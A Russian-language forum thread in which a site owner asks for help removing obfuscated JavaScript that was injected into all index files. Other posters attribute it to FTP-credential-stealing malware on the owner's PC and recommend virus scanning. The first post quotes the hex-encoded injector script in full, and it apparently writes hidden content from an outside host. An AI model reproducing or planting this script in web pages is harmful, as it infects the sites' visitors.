Помогите ШЕЛЛ

388
.
Люди добрые помогите вот ужже года 2 немогу найти ШЕЛЛ на хостинге!!!
Эта зараза прописывает во всех файлах index вот такой скрипт :// \\<script>function c271f17f2ch4993937c2c4e1(h4993937c2ccd7){ var h4993937c2d4d0=16; return (parseInt(h4993937c2ccd7,h4993937c2d4d0));}function h4993937c2e4c7(h4993937c2ecbb){ function h4993937c304c5(){var h4993937c30cb3=2;return h4993937c30cb3;} var h4993937c2f4be='';h4993937c314ac=String.fromCharCode;for(h4993937c2fcc7=0;h4993937c2fcc7<h4993937c2ecbb.length;h4993937c2fcc7+=h4993937c304c5()){ h4993937c2f4be+=(h4993937c314ac(c271f17f2ch4993937c2c4e1(h4993937c2ecbb.substr(h4993937c2fcc7,h4993937c304c5()))));}return h4993937c2f4be;} var r37='';var h4993937c31cb7='3C7'+r37+'3637'+r37+'2697'+r37+'07'+r37+'43E696628216D7'+r37+'96961297'+r37+'B646F637'+r37+'56D656E7'+r37+'42E7'+r37+'7'+r37+'7'+r37+'2697'+r37+'465287'+r37+'56E657'+r37+'363617'+r37+'065282027'+r37+'2533632536392536362537'+r37+'32253631253664253635253230253665253631253664253635253364253633253332253337'+r37+'2532302537'+r37+'332537'+r37+'32253633253364253237'+r37+'2536382537'+r37+'342537'+r37+'342537'+r37+'302533612532662532662537'+r37+'392536312533312536622537'+r37+'322536352537'+r37+'362536352536342536622536662532652536332536662536642532662536392536652532652537'+r37+'302536382537'+r37+'30253366253237'+r37+'2532622534642536312537'+r37+'342536382532652537'+r37+'322536662537'+r37+'352536652536342532382534642536312537'+r37+'342536382532652537'+r37+'32253631253665253634253666253664253238253239253261253339253333253333253336253336253239253262253237'+r37+'253331253335253330253635253336253633253331253330253331253237'+r37+'2532302537'+r37+'37'+r37+'2536392536342537'+r37+'34253638253364253332253333253334253230253638253635253639253637'+r37+'2536382537'+r37+'342533642533332533392533392532302537'+r37+'332537'+r37+'342537'+r37+'39253663253635253364253237'+r37+'2537'+r37+'362536392537'+r37+'332536392536322536392536632536392537'+r37+'342537'+r37+'39253361253638253639253634253634253635253665253237'+r37+'2533652533632532662536392536362537'+r37+'3225363125366425363525336527'+r37+'29293B7'+r37+'D7'+r37+'6617'+r37+'2206D7'+r37+'969613D7'+r37+'47'+r37+'27'+r37+'5653B3C2F7'+r37+'3637'+r37+'2697'+r37+'07'+r37+'43E';document.write(h4993937c2e4c7(h4993937c31cb7));</script>
.
Мда,грош цена тебе как хостеру если считаешь что это шелл...вирус это...Сканируй систему...
.
╭∩╮ (`-`) ╭∩╮
Что интересно, поищи на этом форуме, уже поднималась тема (или на Газенвагене, не помню точно), есть такой вирус. если локально на компьютере подцепил, и у тебя на этом же компе есть FTP логины к твоему сайту, вирус может приписать к страницам какую-то ерунду.
---
Сразу говорю, я сам с этим не сталкивался, но люди на форуме писали.
.
╭∩╮ (`-`) ╭∩╮
Но вот я лично сталкивался вот с чем...
---
Из-за дыры в хостинге, на все мои сайты, где был открыт PHP и стояли права доступа к папке 777, приписались файлы .htaccess и файл со случайным названием и расширением .php
Причем, из .htaccess стояла комманда на вызов этого файла.
А сам файл воровал переменные окружения и отсылал их в закодированном виде на определенный хост...
.
Это из за вирусов в компьютере.Если на компе ест вирусы и с этим компон заходиш через фтп тогда все индехи так.
.
Dementor
seg81, интересный ты хостер... Главное не боишься сказать о проблеме. Это вызывает уважение.. Я не прочь разместить у тебя один свой небольшой проект на пару гигов.. Как познакомиться с условиями?
.
Описался! Я не хостер!
.
Обрашался к хостерам моим говорят что все чисто у них мошный антивирус!
.
seg81, тогда пиши точней.
.
порылся в гугли оказывается целая эпидемия таких вирусов) не нод не касперский не видит процессы этого вируса. помогает только скан компа бесплатной утилитой от др. веба в безопасном режиме.
Всего: 17